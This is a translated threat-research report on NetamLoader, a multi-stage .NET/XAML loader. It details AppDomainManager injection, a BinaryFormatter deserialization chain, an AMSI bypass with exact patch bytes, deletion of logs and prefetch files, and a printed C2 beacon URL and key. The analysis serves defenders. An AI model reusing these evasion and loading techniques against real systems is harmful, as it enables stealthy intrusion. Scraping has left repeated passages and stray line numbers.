F2458ED133F8D0CA19E22C10F577E98E e4537a1762fcafd2fd96bfc825bad34f9db9a24d E1DC6F1ED193594F2284BE22AE08DFA4 Resources.resx AB81564BCB8CA7E710C66832DE747556 .NET 1 Loader CFB8B281BDF5D9390E64B10C312FB2C1 .NET 2 Plugin 67E3617F8709D34F806F8E02BADBA8A5 fabric.config 514AC0D73B8A1B73488EF5E2E55A75C3 PatchMyPC-ScriptRunner.exe.config 514117D536E347560D049CFE0C609632 XAML-1 9000820D8153C24CD60D53001D3A97B6 XAML-2 B3C4A635179680EDAFB5D006CF0CFFC6 XAML-2-1 4F28622C5E60C01319BF48CF742FE1A5 XAML-2-2 C86D53392A87DD3F3E62D62C9B92A9BD XAML-3
C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe.config C:\Windows\SoftwareDistribution\Download\Install\fabric.config C:\Windows\SoftwareDistribution\Download\Install\Resources.resx
Malware Technologies
Malware Descriptions
Unknown APT uses NetamLoader to attack a Win10 OS customized for governments in Asia
This site uses Akismet to reduce spam. Learn how your comment data is processed.
From the same authors
Project CAV3RN continues: Google Apps Script as C2 relay and DNS-based C2 channel selection
New Project CAV3RN module abuses Outlook calendar events for C2 and DNS AAAA records for configuration recovery
OceanLotus suspected of using PyPI to deliver ZiChatBot malware
JanelaRAT: a financial threat targeting users in Latin America
A laughing RAT: CrystalX combines spyware, stealer, and prankware features
In the same category
An insecure neighbor: how a vulnerability chain led to an isolation bypass in cloud infrastructure
How APT41 revived the BlackLotus bootkit to attack diplomatic organizations in Central Asia
Operation FlashHole: Lazarus breaks security, defies control
The journey of a paper unicorn: adventures inside a modern warehouse
Crypto wasted: BlueNoroff’s ghost mirage of funding and jobs
用于网络流量的 AES 加密方案
在隔离的应用程序域中执行下载的 XAML 有效负载
妥协的迹象
几个月前,我们的研究揭示了一条高度复杂的感染链和一个基于 XAML 标记构建的复杂 .NET 程序集加载框架,这强烈表明这是一起针对亚洲政府机构专用定制 Windows 系统的供应链攻击。该恶意框架已被命名为 NetamLoader;目前,尚未确定其与任何已知的 APT 组织有关。
该样本于 2026 年上半年被发现,当时卡巴斯基安全网络 (KSN) 发布了一项恶意软件检测警报,指出一个 .config 文件利用 AppDomainManager 注入来加载任意 .NET 程序集。该文件被打包在一个 CAB 归档文件中,并放置在 Windows 操作系统更新包的存储目录中。对 CAB 文件内容的初步分析并未发现恶意代码:大多数可执行文件都是第三方补丁管理工具 Patch My PC 的合法组件,甚至用于注入的 .NET 程序集也带有微软签名。随后对原始 .config 文件和完整加载过程的重新检查揭示了本报告中所述的感染链和框架。
卡巴斯基的产品将此威胁检测为 HEUR:Trojan.MSIL.NetamLoader.gen、Trojan.MSIL.Zapchast.* 和 Trojan.Script.Agent.*。
在例行威胁搜寻过程中,KSN 向我们发送了一条恶意软件检测警报。该通知标记了一个 .config 文件,该文件利用 AppDomainManager 注入来加载任意 .NET 程序集。该文件被压缩成一个名为 e4537a1762fcafd2fd96bfc825bad34f9db9a24d 的 CAB 归档文件,并保存在 Windows 操作系统更新包所在的文件夹中。以下是该归档文件的完整路径:
从这个 CAB 档案库开始,我们发现了一个高度复杂的感染链,它使用了一种以前未知的先进加载框架。
CAB 文件包含以下七个文件,这些文件将被提取并放置在路径 C:\Windows\SoftwareDistribution\Download\Install\ 中:
CAB 文件中压缩的文件,除 Resources.resx 外,均不包含恶意代码。我们没有观察到 CAB 文件是如何被传递给受害者的;我们只看到 PatchMyPC-ScriptRunner.exe 进程运行,并带有以下参数:
CAB 文件中压缩的文件
文件以这种方式启动后,感染链进入第 1 阶段。
首先执行 PatchMyPC-ScriptRunner.exe,该进程作为宿主进程加载多个有效载荷。我们发现其加载机制复杂,分为两个阶段,包含多个步骤。第一阶段的整体流程如下图所示。
感染链:第一阶段
AppDomainManager 注入技术用于加载任意 .NET 程序集。通过这种机制,当 PatchMyPC-ScriptRunner.exe 运行时,在执行其主函数之前,会加载位于同一目录下的配置文件 PatchMyPC-ScriptRunner.exe.config。以下是 PatchMyPC-ScriptRunner.exe.config 的内容。
根据配置文件,将加载 Microsoft.HostIntegration.Connectors.dll 模块(一个 Microsoft 签名的程序集)中的 Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration 类。DataCacheFactoryConfiguration 是 Windows Server AppFabric 缓存客户端的配置类,用于指定新缓存客户端的设置。加载此配置类时,其实例首先尝试查找并读取位于同一目录下的默认配置文件 fabric.config。fabric.config 的内容如下所示:
DataCacheFactoryConfiguration 类存在一个设计缺陷,可被利用来加载任意程序集。fabric.config 文件经过精心设计。加载该文件时,DataCacheFactoryConfiguration 实例会检查其 className 属性,加载指定的类型(来自 System.Windows.Forms 程序集的 System.Resources.ResXResourceSet),并创建一个 ResXResourceSet 实例,同时将“Resources.resx”传递给其构造函数进行解析。
在 .resx 文件中,多层有效载荷(包括多个 XAML 文件、.NET 程序集和 JSON 数据)经过编码、压缩或加密(参见下图)。每一层都由其上一层解包并加载。一层完成操作后,下一层会被提取并加载。下面,我们将按照加载顺序逐层进行分析:
.resx 文件中对多层有效载荷进行了压缩和加密。
Microsoft RESX 架构定义了 .resx 文件使用的 XML 布局,该布局具有易于阅读的结构,可以容纳应用程序资源:字符串、图像、图标和序列化对象。Resources.resx 文件包含一个使用众所周知的、高度易受攻击的 .NET BinaryFormatter 类序列化的 Base64 编码二进制对象。
Resources.resx 中的 Base64 编码序列化二进制对象
使用 ResXResourceSet 解析此 .resx 文件会导致嵌入的 Base64 编码二进制有效载荷调用 BinaryFormatter.Deserialize(),从而触发反序列化漏洞,进而导致 TypeConfuseDelegate 攻击。TypeConfuseDelegate 随后会调用 XamlReader.Parse(),加载嵌入在二进制对象中的 XAML 有效载荷(名为 XAML-1)。
XAML 是一种用于在 .NET 应用程序中构建用户界面的标记语言,但它的功能远不止于此。借助两个内置对象 ObjectDataProvider 和 ResourceDictionary,可以用类似 XML 的语法表达与 C# 代码等效的逻辑。以下是 XAML-1 的代码片段。
XAML-1 代码片段
XAML-1 代码充当嵌入式有效载荷的加载器。其过程如下:
获取当前主机进程 PatchMyPC‑ScriptRunner.exe 的完整命令行,并将所有参数转换为小写。
使用 SHA-256 对命令行字符串进行哈希处理,生成 AES 密钥。
将嵌入在 XAML-1 中的 Base64 字符串解码成一个二进制数组。使用该数组的前 16 个字节作为初始化向量 (IV),然后使用 AES 算法解密剩余的加密数据。解密后的输出是另一段 XAML 代码,我们称之为 XAML-2。
使用 .NET API System.Windows.Markup.XamlReader.Load() 将 XAML-2 加载到内存中。
如果在解密过程中发生任何异常,则触发 Environment.Exit(0),静默终止主机进程,以防止出现可能暴露攻击的错误消息。
XAML-2 启动感染的第二阶段。下图展示了该阶段的整体流程。感染链:第二阶段
感染链:第二阶段
XAML-2 包含两个嵌入式 Base64 编码的段落。这两个段落实际上是两个额外的 XAML 文件(分别称为 XAML-2-1 和 XAML-2-2),它们首先使用 ZIP 压缩,然后进行 Base64 编码。解码和解压缩后,XAML-2 使用 XamlReader.Load() 将每个文件分别加载到内存中。以下是 XAML-2 的代码片段。
一段 XAML-2 代码片段
第一个文件包含 796 行。它的唯一目的是劫持一个关键的 AMSI API 来绕过反恶意软件扫描。
XAML 2.1 中的敏感字符串会被分割成很小的片段。
为了避免被反恶意软件特征码扫描检测到,敏感字符串会被分割成非常短的片段。当 XAML-2-1 加载和解析时,这些片段会被重新组装成原始字符串。
它实现目标的关键步骤如下:
通过验证 IntPtr.Size 是否等于 8 来检查操作系统架构。如果不是,则主机进程不是 64 位,因此中止劫持操作。
将拆分的字符串合并为一个 CLSID GUID (fdb00e52-a214-4aa1-8fba-4357bb0072ec),然后尝试使用此 GUID 创建 AMSI COM 对象的实例。
对 AMSI 模块进行修补。为运行时方法 Console.Clear() 创建一个委托,然后获取其本地函数指针。接下来,通过将该方法在内存中的前几个字节替换为二进制有效载荷 (41 C7 00 01 00 00 00 33 C0 C3) 来修补该方法。使用 Marshal.GetIUnknownForObject() 获取 AMSI COM 对象的本地指针。从该指针读取其虚方法表的地址,并加上 0x18 以访问另一个指向 CAmsiAntimalware::Scan 方法地址的指针。使用 VirtualProtect() 将 Scan() 指针设置为可写,将其值从 CAmsiAntimalware::Scan() 方法的地址更改为已修补的 Console.Clear() 方法的地址,然后恢复指针的原始保护属性。完成此步骤后,每次扫描都将返回 AMSI_RESULT_CLEAN(值 = 0)。
为运行时方法 Console.Clear() 创建一个委托,然后获取其本地函数指针。接下来,通过将该方法在内存中的前几个字节覆盖为二进制有效载荷 (41 C7 00 01 00 00 00 33 C0 C3) 来修补该方法。
使用 Marshal.GetIUnknownForObject() 获取 AMSI COM 对象的本地指针。从该指针读取其虚方法表的地址,并加上 0x18 以访问另一个指针,该指针保存 CAmsiAntimalware::Scan 方法的地址。
使用 VirtualProtect() 将 Scan() 指针设为可写,将其值从 CAmsiAntimalware::Scan() 方法的地址更改为已修补的 Console.Clear() 的地址,然后恢复指针的原始保护属性。此步骤完成后,每次扫描都会返回 AMSI_RESULT_CLEAN(值 = 0)。
其中一个补丁针对的是位于现有合法模块内存空间中的 Console.Clear() API,而另一个补丁仅修改 AMSI 模块的虚拟表,使恶意软件能够通过代码完整性检查。
XAML-2-2 由两部分组成:一个 .NET 模块(第一个加载器,.NET 1 Loader)和一个 JSON 数据有效负载(C2 配置,JSON-1)。这两个组件都使用 ZIP 压缩,然后进行 Base64 编码。XAML-2-2 首先解码并解压缩 .NET 程序集 .NET 1 Loader,然后使用 Assembly.CreateInstance() API 创建 .NET 1 Loader 的实例,并将 Base64 编码的 JSON-1 作为参数传递给 .NET 1 Loader 的 mC() 方法。
.NET 1 Loader 可解码、解压缩和解析 JSON-1 数据。解码和解压缩后的 JSON-1 数据如下所示:
JSON-1-c 此 JSON 包含 .NET 1 Loader 用于向 C2 服务器报告已加载有效负载执行结果的配置数据。sc false 标志。确定是否报告 mC() 的执行结果。设置为 false 时,将跳过向 C2 报告。c null 报告 C2 服务器。.NET 1 Loader 的 mC() 方法返回的结果将发送到此服务器。tp null 未知项,疑似受信任的 SSL 证书。使用指纹验证此疑似 C2 证书。e null 用于加密 .NET 1 Loader 的 mC() 方法返回的 JSON 结果的 AES 密钥。
JSON-1-p 是一个更复杂的配置文件。.NET 1 加载器会解析其数据,以准备和加载后续阶段。以下配置项存储有效负载:oib:Base64 编码的 .NET 2 插件(PE 文件);oub:调用 Exit(0) 的 Base64 编码的 XAML;ibk:用于解密 ibi 的 AES 密钥;ibi:用于构建 XAML-3 的 Base64 编码的压缩加密 XAML 模板集合。有关解密和组装 XAML-3 的详细说明,请参见下文的 XAML-3 部分。其他项将在后续阶段作为 C2 配置传递给 .NET 2 插件。 [{“c”:[{“cu”:“https://openaigpt4v.com/model_v4/”,“tp”:“*”,“rh”:“”}],“mib”:79200,“mab”:100800,“mis”:1200,“mas”:2400,“e”: “9fT04e03tAiZAPogcDWt0w==”,“ii”:空,“aop”:空,“oib”:“TVqQAAMAAAAEAAAA//8AALgAAAAAA...”,“oub”:“PFJlc291cmNlRGljdGlvbmFyeS...”,“wi”:100801,“ibk”: “W7BHmIRBRY3FOIfWprbW/ZJh5GbPND3sY+qCBDY7O2A=”,“ibi”: "4pUDtQVbD6leQrDvtT3gaaCLec...", "de": false } ] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 [ { "c" : [ { "cu" : “https://openaigpt4v.com/model_v4/”,“tp”:“*”,“rh”:“”}],“mib”:79200,“mab”:100800,“mis”:1200,“mas”:2400,“e”: “9fT04e03tAiZAPogcDWt0w==”,“ii”:空, “aop”:空,“oib”:“TVqQAAMAAAAEAAAA//8AALgAAAAAA...”,“oub”:“PFJlc291cmNlRGljdGlvbmFyeS...”,“wi”:100801,“ibk”: "W7BHmIRBRY3FOIfWprbW/ZJh5GbPND3sY+qCBDY7O2A=" , "ibi" : "4pUDtQVbD6leQrDvtT3gaaCLec..." , "de" : false } ]
oib:Base64编码的.NET 2插件(PE文件)
oub:调用 Exit(0) 的 Base64 编码 XAML
ibk:用于解密 ibi 的 AES 密钥
ibi:用于构建 XAML-3 的 Base64 编码的压缩加密 XAML 模板集合。有关解密和组装 XAML-3 的详细说明,请参见下面的 XAML-3 部分。
其他项目将在稍后阶段作为 C2 配置传递给 .NET 2 插件。
获取配置后,.NET 1 Loader 将执行以下关键步骤:
从系统日志中删除与恶意更新包相关的更新记录,以及第一阶段中使用的恶意文件和缓存文件。删除从 CAB 文件中提取的恶意文件,包括 PatchMyPC-ScriptRunner.exe.config、fabric.config 和 Resources.resx。删除 CLR 使用日志和 Windows 系统预取缓存文件,以消除可能用于取证分析的证据。%LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\PatchMyPC-ScriptRunner.exe.log 和 %WINDIR%\Prefetch\PATCHMYPC-SCRIPTRUNNER.EXE-*.pf。日志 %WINDIR%\Prefetch\PATCHMYPC-SCRIPTRUNNER.EXE-*.pf 检索以下路径中与模式 20???? 匹配的文件,其中每个文件名以“20”开头,后跟六个字符(例如,20260101)。读取文件内容,过滤掉包含精确子字符串 GetExtendedUpdateInfoHandler 的任何行,并将过滤后的内容写回日志文件。该路径包含关键字 CmitUpdateAgent,这可能与亚洲某个政府使用的自定义 Windows 10 版本有关。"%WINDIR%\Logs\CmitUpdateAgent\20????\20??????" 1 "%WINDIR%\Logs\CmitUpdateAgent\20????\20??????"通过逐一删除路径 LocalMachine\SOFTWARE\Classes\appid\[specific_GUID] 下的九个 GUID 项及其所有子项,来重置基于注册表的异常状态日志系统。生成 GUID 路径的算法是唯一的——它从 C2 URL 派生出 GUID——因此每个 C2 服务器都有其自己独特的绑定 GUID 集。使用此方法派生的九个 GUID 中,一个表示发生了异常,其余的编号为 0 到 7。例如,当恶意软件捕获到异常代码 129 时,它会创建注册表子项 {bde7ddc2-1f6f-4397-a0df-ae7c7d67d65a} 来指示发生了异常。然后检查位掩码,其中 129 等于二进制 10000001。因此,它创建第八个子键 {74084115-433e-4fe8-8d01-41c48fbfeef6} 和第一个子键 {bf6f4bde-97db-4dcd-9546-7ebf10061519}。验证每个必要的配置项是否存在于 JSON-1-p 中,然后根据硬编码值验证其中的一些项。如果任何一项检查失败,则停止感染链并将执行结果提交给报告 C2 服务器。验证当前用户是否为管理员;如果不是,则抛出代码为 128 的异常。检查配置项 aop 是否存在。如果存在,则对其值进行 Base64 解码,将结果用作 XAML-3,然后跳至步骤 9。通过调用 Guid.NewGuid() 为配置项 ii 生成唯一的恶意软件实例 ID。从注册表项 SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate 中查询 SusClientId 值。然后,使用与上述相同的算法计算 GUID,为新定义的配置项 si 生成值。将检索到的 SusClientId 值与字节序列 \x14\x43\x9B\x64 连接起来,作为算法的输入数据。解析 JSON-1-p,提取相关项及其值,并将其转换为 XAML 格式。接下来,按照 XAML-3 部分中概述的步骤生成复杂的 XAML 脚本 XAML-3。创建 WScript.Shell 的 COM 实例(CLSID:41904400-BE18-11D3-A28B-00104BD35090),并检索当前进程的环境。然后将 COMPlus_ETWEnabled 环境变量设置为 0,以阻止 CLR 注册 .NET ETW 提供程序,从而隐藏相关事件。使用 RPC 创建一个远程 COM 对象(CLSID:ab8902b4-09ca-4bb6-b78d-a8f59079a8d5)。利用未知的二进制对象反序列化漏洞和 TypeConfuseDelegate 技术对其进行攻击。攻击成功后,XAML-3 将被加载到远程主机进程 dllhost.exe 中。这是一种隐蔽的方法,用于启动一个加载恶意有效载荷 XAML-3 的新进程。该技术有效地将感染链与其初始进程分离,使其能够绕过 EDR 等安全解决方案的行为监控。执行结果(如下所示的 JSON 格式)首先使用项目 e 中的密钥进行 AES 加密。然后,在加密数据前添加一个随机生成的初始化向量 (IV),最后对结果进行 Base64 编码。 [ { // 固定值 "_": "0202097a-5c1e-460d-b5e0-030b9756b242", // 错误编号:0 表示执行成功 "e": "0 ", // 配置 "ii" 的值 "i"": "94aafd58-c00c-402a-aae6-858b4486a1a4" } ] 1 2 3 4 5 6 7 8 9 10 [ { // 固定值 "_" : "0202097a-5c1e-460d-b5e0-030b9756b242" , // 错误编号:0 表示执行成功 "e" : "0 " , // 配置 "ii" 的值 "i" : "94aafd58-c00c-402a-aae6-858b4486a1a4" } ] 将加密和编码后的结果 POST 到报告 C2 服务器。
删除从 CAB 文件中提取的恶意文件 PatchMyPC-ScriptRunner.exe.config fabric.config Resources.resx 1 2 3 PatchMyPC - ScriptRunner . exe . config fabric . config Resources . resx
删除 CLR 使用日志和 Windows 系统预取缓存文件,以消除可能用于取证分析的证据。 %LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\PatchMyPC-ScriptRunner.exe.log %WINDIR%\Prefetch\PATCHMYPC-SCRIPTRUNNER.EXE-*.pf 1 2 3 % LOCALAPPDATA % \ Microsoft \ CLR_v4 . 0 \ UsageLogs \ PatchMyPC - ScriptRunner . exe . log % WINDIR % \ Prefetch \ PATCHMYPC - SCRIPTRUNNER . EXE - * . pf
检索以下路径中文件名以“20”开头,后跟六个字符(例如,20260101)的文件夹中与模式“20????”匹配的文件。读取文件内容,筛选出包含精确子字符串“GetExtendedUpdateInfoHandler”的行,并将筛选后的内容写回日志文件。该路径包含关键字“CmitUpdateAgent”,这可能与亚洲某政府使用的自定义 Windows 10 版本有关。“%WINDIR%\Logs\CmitUpdateAgent\20????\20??????” 1 “%WINDIR%\Logs\CmitUpdateAgent\20????\20??????”
通过逐一删除路径 LocalMachine\SOFTWARE\Classes\appid\[specific_GUID] 下的九个 GUID 项及其所有子项,来重置基于注册表的异常状态日志系统。生成 GUID 路径的算法是唯一的——它从 C2 URL 派生出 GUID——因此每个 C2 服务器都有其自己独特的绑定 GUID 集。使用此方法派生的九个 GUID 中,一个表示发生了异常,其余的编号为 0 到 7。例如,当恶意软件捕获到异常代码 129 时,它会创建注册表子项 {bde7ddc2-1f6f-4397-a0df-ae7c7d67d65a} 来指示发生了异常。然后检查位掩码,其中 129 等于二进制 10000001。因此,它创建了第八个子密钥 {74084115-433e-4fe8-8d01-41c48fbfeef6} 和第一个子密钥 {bf6f4bde-97db-4dcd-9546-7ebf10061519}。
验证 JSON-1-p 中是否存在所有必要的配置项,然后根据硬编码值验证其中的一些配置项。如果任何一项检查失败,则停止感染链并将执行结果提交给报告 C2 服务器。
验证当前用户是否为管理员;如果不是,则抛出代码为 128 的异常。
检查配置项 aop 是否存在。如果存在,则对其值进行 Base64 解码,将结果用作 XAML-3,然后跳至步骤 9。
通过调用 Guid.NewGuid() 为配置项 ii 生成唯一的恶意软件实例 ID。
从注册表项 SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate 中查询 SusClientId 值。然后,使用与上述相同的算法计算 GUID,为新定义的配置项 si 生成值。将检索到的 SusClientId 值与字节序列 \x14\x43\x9B\x64 连接起来,作为该算法的输入数据。
解析 JSON-1-p,提取相关项及其值,并将其转换为 XAML 格式。接下来,按照 XAML-3 部分中概述的步骤生成复杂的 XAML 脚本 XAML-3。
创建 WScript.Shell 的 COM 实例(CLSID:41904400-BE18-11D3-A28B-00104BD35090),并获取当前进程的环境变量。然后将 COMPlus_ETWEnabled 环境变量设置为 0,以阻止 CLR 注册 .NET ETW 提供程序,从而隐藏相关事件。
使用 RPC 创建一个远程 COM 对象(CLSID:ab8902b4-09ca-4bb6-b78d-a8f59079a8d5)。利用未知的二进制对象反序列化漏洞和 TypeConfuseDelegate 技术对其进行攻击。攻击成功后,XAML-3 会被加载到远程主机进程 dllhost.exe 中。这是一种隐蔽的方法,用于启动一个加载恶意有效载荷 XAML-3 的新进程。该技术有效地将感染链与其初始进程分离,使其能够绕过 EDR 等安全解决方案的行为监控。
执行结果(如下所示的 JSON 格式)首先使用项目 e 中的密钥进行 AES 加密。将随机生成的 IV 添加到加密数据前面,然后对结果进行 Base64 编码。 [ { // 固定值 "_": "0202097a-5c1e-460d-b5e0-030b9756b242", // 错误编号:0 表示执行成功 "e": "0 ", // 配置 "ii" 的值 "i"": "94aafd58-c00c-402a-aae6-858b4486a1a4" } ] 1 2 3 4 5 6 7 8 9 10 [ { // 固定值 "_" : "0202097a-5c1e-460d-b5e0-030b9756b242" , // 错误编号:0 表示执行成功 "e" : "0 " , // 配置 "ii" 的值 "i" : "94aafd58-c00c-402a-aae6-858b4486a1a4" } ]
将加密编码后的结果 POST 到报告 C2 服务器。
XAML-3 是一个关键有效载荷,它在离开原始进程树后,会被加载并在另一个进程 dllhost.exe 中执行。XAML-3 由模板 XAML-3 生成。如下图所示,该模板使用 JSON-1-p 中 ibi 项的值进行解码和解密。除了模板 XAML-3 之外,最终的解密结果还包含另外两个 XAML 模板(模板 __P1__ 和模板 __P2__)。“ibi” 的多层加密结构
“ibi”的多层加密结构
AES密钥取自配置项ibk。加密二进制数据的前16个字节用作AES IV 1。解密后,数据由一个简单的头部和AES IV 2组成。
模板 XAML-3 包含两个字符串占位符,__P1__ 和 __P2__。每个占位符都被压缩的、Base64 编码的 XAML(模板 __P1__ 和 XAML-P2)替换。
模板__P1__的内容与XAML-2-1相同,并在新流程中绕过了AMSI。XAML-P2由模板__P2__生成。
模板 __P2__ 中的部分项值来自 JSON-1-p 格式的 C2 配置数据。在模板 __P2__ 中,占位符 __P__ 被替换为压缩编码的有效负载(即 .NET 2 插件),该有效负载由 JSON-1-p 中的 oib 值解码而来。完成所有操作后,模板 __P2__ 变为 XAML-P2。
XAML-P2 中的 C2 配置如下所示:
当 dllhost.exe 加载 XAML-3 时,它会依次加载模板 __P1__ 和 XAML-P2。加载 XAML-P2 时,它会通过 AppDomain.GetCurrentDomain() 获取当前域,然后使用 AppDomain.SetData() 将 C2 配置项(cu、tp 和 rh;参见上表)的值存储到该域中。最后,XAML-P2 解码并解压缩嵌入的有效负载(.NET 2 插件),将 .NET 2 插件加载到当前域中,然后调用插件的入口方法 mC()。
此有效载荷是一个 .NET 程序集(PE 文件)。如上所述,它由 XAML-P2 加载到宿主进程 dllhost.exe 中。在插件的入口方法 mC() 中,会创建一个线程来执行恶意操作。
本线程将执行以下关键步骤:
配置初始化:从当前 AppDomain 的数据存储中加载 C2 配置,并将其分配给相应的成员变量。
从注册表中收集系统信息:“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\full”,键="Version" “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion”,键="BuildLab" 1 2 “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\full”,键 = "Version" “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion”,键 = "BuildLab" 将查询到的值合并成一个字符串,例如:“4.7.03190\n17763.rs5_release.180914-1434”。如果任何查询失败,请将其结果替换为连字符(“-”)。
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\full", Key="Version" "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", Key="BuildLab" 1 2 "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\full", Key = "Version" "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", Key = "BuildLab"
将查询值合并为一个字符串,例如:“4.7.03190\n17763.rs5_release.180914-1434”。如果任何查询失败,则将其结果替换为连字符(“-”)。
清除异常状态日志系统的状态:.NET 2 插件使用与 .NET 1 加载器相同的异常状态日志系统。递归地从注册表中删除 12 个 GUID 子项。生成 GUID 路径的算法与 .NET 1 加载器使用的算法相同。前八个 GUID 与 .NET 1 加载器尝试删除的 GUID 相同。其余四个 GUID 使用不同的整数种子生成(整数种子 = [1 到 4]|65536)。如果步骤 1 和 2 成功完成,则使用整数种子 3|65536 生成一个子项。然后创建以下注册表子项:“LocalMachine\SOFTWARE\Classes\appid\{ff259bcd-2f0a-44de-b34a-0092fec1d8a2} DllSurrogate = "" 1 2 "LocalMachine\SOFTWARE\Classes\appid\{ff259bcd-2f0a-44de-b34a-0092fec1d8a2} DllSurrogate = " "
递归地从注册表中删除 12 个 GUID 子项。生成 GUID 路径的算法与 .NET 1 Loader 使用的算法相同。前八个 GUID 与 .NET 1 Loader 尝试删除的 GUID 相同。其余四个 GUID 使用不同的整数种子生成(整数种子 = [1 到 4]|65536)。
如果步骤 1 和 2 成功完成,请使用整数种子 3|65536 生成子项。然后创建以下注册表子项:
"LocalMachine\SOFTWARE\Classes\appid\{ff259bcd-2f0a-44de-b34a-0092fec1d8a2} DllSurrogate = "" 1 2 "LocalMachine\SOFTWARE\Classes\appid\{ff259bcd-2f0a-44de-b34a-0092fec1d8a2} DllSurrogate = " "
反分析:通过检查 Environment.CommandLine 来检查当前主机进程是否为 dllhost.exe。
防止宿主进程退出:创建一个托管对象并检索其 IUnknown 接口。然后调用 ole32.dll 的 CoLockObjectExternal(IUnknown 接口) 将该对象锁定在内存中,确保 RPC 创建的 dllhost.exe 进程不会被系统释放。
抖动延迟:在向 C2 服务器发出初始请求之前,等待 20-40 分钟的随机抖动延迟(由配置项“is”=”1200-2400”),以通过导致沙箱超时来规避沙箱。
设置最大执行时间:创建一个定时器,将回调函数注册为监视程序。定时器等待大约 28 小时(100801 秒,取自配置项 wi)后调用回调函数。回调函数获取配置项 u,解码其 Base64 编码的字符串,解压缩输出,并从结果数据中提取 XAML 代码片段。然后加载此 XAML 代码片段,最终触发 Environment.Exit(0)。
定期轮询:检索配置项 cu 和 ii 以构建完整的 URL https://openaigpt4v.com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4。使用三种方法获取系统代理(参见下文“发现代理”部分)。注册一个 HTTPS 回调(ServerCertificateValidationCallback),该回调在建立连接之前,会根据配置值 tp 验证服务器端 X.509 证书。然后,将系统信息与其他详细信息(例如是否绕过代理、是否正在使用代理以及当前在 C2 服务器列表中的索引)相结合。接下来,使用 AES 加密组合后的数据(更多详细信息,请参见网络流量部分中的 AES 加密图),然后将加密后的输出编码为 Base64。 // 最终 HTTP 请求 URL "https://openaigpt4v[.]com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4?b=lM4V3VwrWtXBy4oBGUkXOHfxyLUlrT2hIZGn4C37W1Z3%2FeW1WURJqzaNLQhGFHsWxA2lpJHZSpd8VDLMOQRD%2FfsDswnomIrBpoaNzug3dOtrh1J2KIqZRmKx1TtQsxq1RAGu1y45rSKaPHm9s2HF8A%3D%3D&c=41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095" 1 2 // 最终 HTTP 请求 URL "https://openaigpt4v[.]com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4?b=lM4V3VwrWtXBy4oBGUkXOHfxyLUlrT2hIZGn4C37W1Z3%2FeW1WURJqzaNLQhGFHsWxA2lpJHZSpd8VDLMOQRD%2FfsDswnomIrBpoaNzug3dOtrh1J2KIqZRmKx1TtQsxq1RAGu1y45rSKaPHm9s2HF8A%3D%3D&c=41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095" 劫持 HTTP User-Agent 并替换以下值主机:配置值为 rh。从 C2 服务器检索 XAML 文件,更新配置数据,并加载检索到的 XAML 文件(有关技术的更多详细信息,请参阅“在隔离的 AppDomain 中执行下载的 XAML 有效负载”部分)。如果从 C2 服务器收到有效响应,循环将暂停 5-6 分钟,然后再发出下一个请求;否则,循环将暂停 22-28 小时,每 10 分钟检查一次是否已达到分配的时间。
获取配置项 cu 和 ii 以构建完整的 URL https://openaigpt4v.com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4
使用三种方法获取系统代理(请参阅下面的“发现代理”部分)。
注册一个 HTTPS 回调(ServerCertificateValidationCallback),在建立连接之前,根据配置值 tp 验证服务器端 X.509 证书。
然后,将系统信息与附加详细信息结合起来,例如是否绕过代理、是否正在使用代理以及 C2 服务器列表中的当前索引。
接下来,使用 AES 对组合数据进行加密(有关更多详细信息,请参阅网络流量部分的 AES 加密图),然后将加密后的输出编码为 Base64。 // 最终 HTTP 请求 URL "https://openaigpt4v[.]com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4?b=lM4V3VwrWtXBy4oBGUkXOHfxyLUlrT2hIZGn4C37W1Z3%2FeW1WURJqzaNLQhGFHsWxA2lpJHZSpd8VDLMOQRD%2FfsDswnomIrBpoaNzug3dOtrh1J2KIqZRmKx1TtQsxq1RAGu1y45rSKaPHm9s2HF8A%3D%3D&c=41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095" 1 2 // 最终 HTTP 请求 URL “https://openaigpt4v[.]com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4?b=lM4V3VwrWtXBy4oBGUkXOHfxyLUlrT2hIZGn4C37W1Z3%2FeW1WURJqzaNLQhG FHsWxA2lpJHZSpd8VDLMOQRD%2FfsDswnomIrBpoaNzug3dOtrh1J2KIqZRmKx1TtQsxq 1RAGu1y45rSKaPHm9s2HF8A%3D%3D&c=41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095"
劫持 HTTP User-Agent 并将 HOST: 后面的值替换为 item rh 的配置值。
从 C2 服务器检索 XAML 文件,更新配置数据,并加载检索到的 XAML(有关技术的更多详细信息,请参阅“在隔离的 AppDomain 中执行下载的 XAML 有效负载”部分)。
如果从 C2 收到有效响应,循环将暂停 5-6 分钟,然后再发出下一个请求;否则,循环将暂停 22-28 小时,每 10 分钟检查一次,以确定分配的时间是否已过去。
恶意软件与C2服务器之间的所有流量均使用AES-128-CBC和HMAC进行加密和认证。加密和认证密钥由主密钥(在配置中指定为“ec”="9fT04e03tAiZAPogcDWt0w=")派生而来,方法是使用不同的种子值应用HMAC。
对于给定的主密钥和单字节种子,推导过程如下:
从种子生成一个 16 字节的序列;这将作为 HMAC 密钥。
